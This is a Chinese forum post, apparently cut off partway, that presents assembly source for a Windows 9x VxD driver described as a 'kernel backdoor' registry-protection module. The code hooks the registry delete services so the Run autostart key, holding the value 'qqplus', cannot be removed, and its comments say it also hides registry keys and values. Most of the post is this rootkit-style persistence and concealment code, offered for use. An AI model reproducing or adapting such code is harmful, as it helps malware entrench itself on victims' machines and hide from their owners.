作者:czy
驱动加载文件代码在最后
win9x内核后门开发技术之注册表保护
czy82于03.06
;在f-king这儿第一次发出来,其实在隐藏注册表键值这儿还是有小问题
;注册表保护操作,隐藏注册表键值,保护特殊键值,主键不被删除
;开发环境98ddk,masm6.1
.386p
.XLIST
INCLUDE VMM.Inc
INCLUDE ../../inc/win98/vwin32.inc
include ../../inc/win98/vmmreg.inc
INCLUDE Shell.Inc
.LIST
;VxD声明
Declare_Virtual_Device REG,1,0,VxD_Control,Undefined_Device_ID,UNDEFINED_INIT_ORDER
VxD_LOCKED_DATA_SEG
RealRegDELKey dd 0
RealRegDELvalue dd 0
RealRegEnumvalue dd 0
pPrevHookEnumKey dd 0
szvalue dd 0h
RetAddr dd 0h
Retvalue dd 0h
VxD_LOCKED_DATA_ENDS
VxD_PAGEABLE_DATA_SEG
MsgTitle db "VxD MessageBox",0
open db "open this key",0
PathName db "Software/Microsoft/Windows/CurrentVersion/Run",0
valueName db "qqplus",0
openpath db 0
sKeyNameForEnum db "czy",0
VxD_PAGEABLE_DATA_ENDS
VxD_CODE_SEG
;系统控制过程
BeginProc VxD_Control
Control_Dispatch W32_DEVICEIOCONTROL,VxD_IOCTL
clc
ret
EndProc VxD_Control
BeginProc HookRegDELKey, service, hook_proc, RealRegDELKey, locked
ArgVar hkey, DWORD
ArgVar lpszSubKey, DWORD
EnterProc
VMMCall _lstrcmpi, <OFFSET32 PathName, dword ptr [lpszSubKey]>
cmp eax, 0
jne @@notmykey
LeaveProc
Return
@@notmykey:
LeaveProc
jmp [RealRegDELKey]
Return
EndProc HookRegDELKey
BeginProc HookRegDELvalue, service, hook_proc, RealRegDELvalue, locked
ArgVar hkey, DWORD
ArgVar lpszvalue, DW